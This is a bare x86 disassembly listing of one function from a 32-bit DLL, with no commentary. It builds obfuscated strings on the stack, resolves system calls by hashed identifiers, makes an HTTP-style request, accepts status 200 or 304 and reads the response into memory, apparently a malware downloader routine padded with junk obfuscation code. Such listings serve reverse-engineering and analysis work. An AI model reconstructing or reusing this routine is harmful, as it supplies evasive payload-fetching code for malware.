jmp 0x1000d37c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2d8], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1000d36f
mov dword [ebp - 0x1c], ebx
jmp 0x1000d398
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1e8], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d387
mov dword [ebp - 0x1e4], ebx
jmp 0x1000d3bd
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x2d8], 0xfffffffc
inc dword [ebp - 0x1e4]
cmp dword [ebp - 0x1e4], 2
jl 0x1000d3a6
push 0x74
pop ecx
push 0x43
pop eax
push 2
mov byte [ebp - 0x140], cl
mov ecx, ebx
mov dword [ebp - 0x150], 0x6e0eb404
mov dword [ebp - 0x14c], 0x8241d19
mov dword [ebp - 0x148], 0x7027c11
mov dword [ebp - 0x144], 0x1e761263
mov dword [ebp - 0x13f], 0x30b761a
mov word [ebp - 0x13b], 0x41f
mov byte [ebp - 0x139], 0x21
mov byte [ebp - 0x138], dl
mov dword [ebp - 0x137], 0x701d7202
mov word [ebp - 0x133], 0xd22
mov byte [ebp - 0x131], 0x20
mov byte [ebp - 0x130], bl
mov dword [ebp - 0x12f], 0x80d080f
mov dword [ebp - 0x12b], 0x5170805
mov byte [ebp - 0x127], bl
mov dword [ebp - 0x126], 0x254a154f
mov dword [ebp - 0x122], 0x2350184c
mov dword [ebp - 0x11e], 0x97d0768
mov dword [ebp - 0x11a], 0x8141415
mov dword [ebp - 0x116], 0xa75107d
mov dword [ebp - 0x112], 0xc191305
mov dword [ebp - 0x10e], 0x60c0319
mov word [ebp - 0x10a], 0x1c08
mov byte [ebp - 0x108], bl
mov word [ebp - 0x107], 0x7116
mov byte [ebp - 0x105], dl
mov word [ebp - 0x104], 0x1b04
mov byte [ebp - 0x102], 6
mov word [ebp - 0x410], ax
pop esi
cmp esi, 0xa
jne 0x1000d4e1
push 3
pop ecx
push 0xb
pop esi
jmp 0x1000d517
movzx edx, byte [ebp + esi - 0x14f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x152]
movzx eax, word [ebp + eax*2 - 0x418]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x150]
mov word [ebp + eax*2 - 0x418], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x4f
jb 0x1000d4d4
xor eax, eax
mov word [ebp - 0x3cc], ax
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x34], 0x2bf5f40e
mov dword [ebp - 0x24], 0x7ae9f903
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x1c], ebx
jmp 0x1000d56e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x184], 0xfffffff8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d55d
mov dword [ebp - 0x1c], ebx
jmp 0x1000d58a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x328], 0x43c7d757
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1000d579
mov byte [ebp - 0x39], bl
cmp byte [ebp - 0x39], 0
je 0x1000d5a0
mov cl, 1
call fcn.1000c196
push 0xfffffffffffffff7
mov dword [ebp - 0x17c], ebx
pop edx
jmp 0x1000d630
mov dword [ebp - 0x18], 0x66e9
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x24], 0xc46d767c
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0xc75b167d
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
neg eax
push 0xfffffffffffffffd
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x17c]
cmp dword [ebp - 0x17c], edx
jle 0x1000d5ae
xor eax, eax
mov dword [ebp - 0x274], 7
mov word [ebp - 0x288], ax
lea ecx, [ebp - 0x288]
lea eax, [ebp - 0x418]
mov dword [ebp - 0x278], ebx
push eax
call fcn.1000af16
mov byte [ebp - 4], 0xc
lea edi, [ebp - 0x418]
push 0x13
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
xor ecx, ecx
inc ecx
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1000d696
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x200], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1000d689
mov dword [ebp - 0x18], 0x13
jmp 0x1000d6c5
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x20], ebx
jmp 0x1000d6bd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x200], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000d6b0
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe9
jge 0x1000d6a4
push 0x31
pop eax
push 2
mov word [ebp - 0x100], 0x4a0f
mov byte [ebp - 0xfe], 7
mov byte [ebp - 0xfd], bl
mov word [ebp - 0xfc], 0x212
mov byte [ebp - 0xfa], 0x16
mov byte [ebp - 0xf9], cl
mov dword [ebp - 0xf8], 0x3150221
mov dword [ebp - 0xf4], 0x1e0d1e0e
mov dword [ebp - 0xf0], 0x72247506
mov dword [ebp - 0xec], 0x90a0405
mov word [ebp - 0xe8], 0x7b14
mov byte [ebp - 0xe6], 0x1b
mov byte [ebp - 0xe5], cl
mov dword [ebp - 0xe4], 0x1d18731a
mov byte [ebp - 0xe0], 0x13
mov byte [ebp - 0xdf], bl
mov dword [ebp - 0xde], 0x3b1e5025
mov dword [ebp - 0xda], 0x7b200423
mov byte [ebp - 0xd6], 0x1f
mov byte [ebp - 0xd5], bl
mov byte [ebp - 0xd4], cl
mov dword [ebp - 0xd3], 0x3050b7f
mov word [ebp - 0xcf], 0x1707
mov byte [ebp - 0xcd], cl
mov byte [ebp - 0xcc], 0x11
mov byte [ebp - 0xcb], cl
mov word [ebp - 0xca], 0x741c
mov byte [ebp - 0xc8], 0x19
mov byte [ebp - 0xc7], bl
mov dword [ebp - 0xc6], 0x7622041d
mov dword [ebp - 0xc2], 0xe04750c
mov word [ebp - 0xbe], 0xf02
mov byte [ebp - 0xbc], bl
mov dword [ebp - 0xbb], 0x104d084d
mov word [ebp - 0xb7], 0x907
mov byte [ebp - 0xb5], 0x1c
mov word [ebp - 0x44a], ax
pop esi
movzx eax, byte [ebp + esi - 0x102]
movzx ecx, byte [ebp + esi - 0xff]
movzx edx, word [ebp + eax*2 - 0x468]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0x100]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x468], dx
cmp esi, 0x4c
jb 0x1000d7f9
xor eax, eax
mov dword [ebp - 0x25c], 7
mov word [ebp - 0x41c], ax
lea ecx, [ebp - 0x270]
mov word [ebp - 0x270], ax
lea eax, [ebp - 0x468]
push eax
mov dword [ebp - 0x260], ebx
call fcn.1000af16
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0x9ca3eaa3
mov dword [ebp - 0x18], ebx
jmp 0x1000d88d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2a8], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1000d87c
mov dword [ebp - 0x20], 1
jmp 0x1000d920
mov dword [ebp - 0x30], 0x1dbeccce
mov dword [ebp - 0x30], ebx
jmp 0x1000d900
mov dword [ebp - 0x28], 0xab1d6a56
xor edx, edx
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
push 0x153a
push 1
push 0x5c81
mov ecx, dword [ebp + eax*4 - 0x2a8]
mov eax, dword [ebp - 0x2a8]
cmp ecx, eax
lea eax, [ebp - 0x4d]
setge dl
mov dword [ebp - 0x24], edx
mov dl, 1
mov byte [ebp - 0x4d], bl
mov cl, dl
push eax
call fcn.1000c349
add esp, 0x10
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 2
jle 0x1000d8ab
push ecx
push ecx
mov byte [ebp - 0x51], bl
lea ecx, [ebp - 0x51]
push 0xfad
mov dl, 1
call fcn.1000c3bf
add esp, 0xc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xb
jle 0x1000d89f
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x468]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x24], 0xf606
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xbacd7953
mov dword [ebp - 0x24], 8
mov dword [ebp - 0x24], 0x5cbd9454
mov dword [ebp - 0x20c], 0x6887e08a
mov dword [ebp - 0x18], ebx
jmp 0x1000d978
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1b8], 0x61ab6ec7
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1000d967
push 0x9ca
push ebx
lea eax, [ebp - 0x20c]
mov dl, 1
push eax
push 0x3e28
mov cl, dl
call fcn.1000c349
add esp, 0x10
lea ecx, [ebp - 0x368]
cmp dword [ebp - 0x274], 8
lea eax, [ebp - 0x288]
mov esi, 0xc9b
mov edi, 0x9ae
cmovae eax, dword [ebp - 0x288]
push ecx
push eax
push esi
push edi
call fcn.10027aff
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000de75
cmp dword [ebp - 0x25c], 8
lea ecx, [ebp - 0x358]
push ecx
lea eax, [ebp - 0x270]
cmovae eax, dword [ebp - 0x270]
push eax
push esi
push edi
call fcn.10027aff
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1000de75
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x368]
push eax
push 3
push ebx
lea eax, [ebp - 0x358]
push eax
push esi
push 0x105e
call fcn.10027aff
pop ecx
pop ecx
call eax
test eax, eax
js 0x1000de75
cmp dword [ebp - 0x48], 0
je 0x1000de75
push 0xb
pop eax
xor ecx, ecx
mov word [ebp - 0x228], ax
push 0x74
mov word [ebp - 0x220], cx
pop ecx
mov word [ebp - 0x174], cx
mov ecx, ebx
push 2
mov dword [ebp - 0x6c], 0x11014d02
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x67], 0x7d140422
mov word [ebp - 0x63], 0xd1f4
pop esi
mov dword [ebp - 0x154], ecx
cmp esi, 6
jne 0x1000da8c
push 5
pop ecx
push 9
mov dword [ebp - 0x154], ecx
pop esi
jmp 0x1000dada
movzx edx, byte [ebp + esi - 0x6b]
lea eax, [ebp - 0x6c]
sub eax, ecx
push 1
movzx eax, byte [eax + esi - 2]
movzx ecx, word [ebp + eax*2 - 0x178]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x6c]
add ecx, edx
mov word [ebp + eax*2 - 0x178], cx
lea eax, [ebp - 0x154]
push eax
push ecx
mov ecx, 0x767
call fcn.1000c3a7
mov ecx, dword [ebp - 0x154]
add esp, 0xc
push 0xb
pop eax
add esi, 2
cmp esi, eax
jb 0x1000da79
xor eax, eax
mov dword [ebp - 0x1bc], 7
mov word [ebp - 0x172], ax
lea ecx, [ebp - 0x1d0]
mov word [ebp - 0x1d0], ax
lea eax, [ebp - 0x178]
push eax
mov dword [ebp - 0x1c0], ebx
call fcn.1000af16
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1d0]
cmp dword [ebp - 0x1bc], 8
mov eax, dword [ebp - 0x1c0]
cmovae ecx, dword [ebp - 0x1d0]
push dword [ebp - 0x1b8]
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f8], ebx
lea ecx, [ebp - 0x1d0]
mov dword [ebp - 0x1f4], ebx
cmovae ecx, dword [ebp - 0x1d0]
push eax
push ecx
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f0], ebx
call fcn.1000ba12
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0xf
push eax
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x218], ebx
call fcn.1000add3
mov edx, dword [ebp - 0x1ac]
cmp dword [edx + 0x14], 8
jb 0x1000db9e
mov ecx, dword [edx]
jmp 0x1000dba0
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1000dbae
mov edx, dword [edx]
push dword [ebp - 0x1b8]
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], ebx
push eax
push edx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 0x1d4], ebx
call fcn.1000ba12
lea eax, [ebp - 0x210]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x210], ebx
call fcn.1000add3
cmp dword [ebp - 0x1bc], 8
lea edx, [ebp - 0x1d0]
lea esi, [ebp - 0x2b8]
mov eax, dword [ebp - 0x48]
cmovae edx, dword [ebp - 0x1d0]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x2b8]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x228]
push dword [ebp - 0x1dc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1000de2c
mov esi, dword [ebp - 0x1a8]
mov cl, 1
mov dword [ebp - 0x16c], ebx
cmp esi, dword [ebp - 0x1a4]
je 0x1000dca8
add esi, 0x18
test cl, cl
je 0x1000dc90
cmp dword [esi + 0x14], 8
jb 0x1000dc6f
mov edi, dword [esi]
jmp 0x1000dc71
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1000dc7c
mov edx, dword [esi - 0x18]
jmp 0x1000dc7f
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x48]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1000dc92
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1a4]
jne 0x1000dc61
test cl, cl
je 0x1000de2c
mov eax, dword [ebp - 0x48]
lea esi, [ebp - 0x2b8]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1000de2c
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x16c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1000de2c
cmp dword [ebp - 0x16c], 0x130
je 0x1000dcfc
cmp dword [ebp - 0x16c], 0xc8
jne 0x1000de2c
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x348]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1000de2c
mov esi, dword [ebp - 0x340]
mov dword [ebp - 0x1b4], esi
test esi, esi
je 0x1000de2c
mov eax, dword [esi]
lea ecx, [ebp - 0x4b0]
push 1
push ecx
push esi
call dword [eax + 0x30]
test eax, eax
js 0x1000de03
mov eax, dword [ebp - 0x4a8]
xor dl, dl
push 0x5bec
mov dword [ebp - 0x70], eax
mov cl, 1
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x19c]
push eax
push 1
push 0x2b84
push 0x485a
call fcn.1000c3f0
mov edx, dword [ebp - 0x70]
mov edi, ebx
add esp, 0x18
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x1b0], edi
mov eax, dword [ebp - 0x19c]
lea edx, [ebp - 0x164]
mov ecx, dword [esi]
add eax, edi
push edx
mov edx, dword [ebp - 0x168]
push edx
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
js 0x1000dded
lea eax, [ebp - 0x164]
mov edx, 0x2646
push eax
push ebx
push ecx
push ecx
lea ecx, [ebp - 0x1b0]
call fcn.1000c2ba
add esp, 0xc
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x168]
push eax
push ecx
push 0x11a0
push 1
call fcn.1000c1d5
mov edi, dword [ebp - 0x1b0]
add esp, 0x14
cmp edi, dword [ebp - 0x70]
jb 0x1000dd87
mov eax, dword [ebp - 0x198]
cmp edi, dword [ebp - 0x70]
cmovne eax, dword [ebp - 0x19c]
mov dword [ebp - 0x198], eax
lea eax, [ebp - 0x1b4]
mov dl, 1
push eax
push 0x3d99
push 0x703f
push 1
push 0x6252
push 0x810
mov cl, dl
call fcn.1000c3f0
add esp, 0x18
push 0x62db
push 1
push ecx
push ecx
lea edx, [ebp - 0x48]
mov ecx, 0x6ed5
call fcn.1000c2ba
add esp, 0x10
mov dword [ebp - 0x48], ebx
lea ecx, [ebp - 0x1dc]
call fcn.1000b30b
lea ecx, [ebp - 0x1f8]
call fcn.1000b30b
push ebx
push 1
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 4], 0xd
call fcn.100042fb
mov esi, 0xc9b
push esi
push 0x86d
call fcn.10027aff
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x19c]
push eax
call fcn.1000e01b
push ebx
push 1
lea ecx, [ebp - 0x270]
call fcn.100042fb
push ebx
push 1
lea ecx, [ebp - 0x288]
call fcn.100042fb
lea ecx, [ebp - 0x1a8]
call fcn.1000b041
lea ecx, [ebp - 0x19c]
call fcn.1000b259
lea ecx, [ebp + 8]
call fcn.1000b041
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret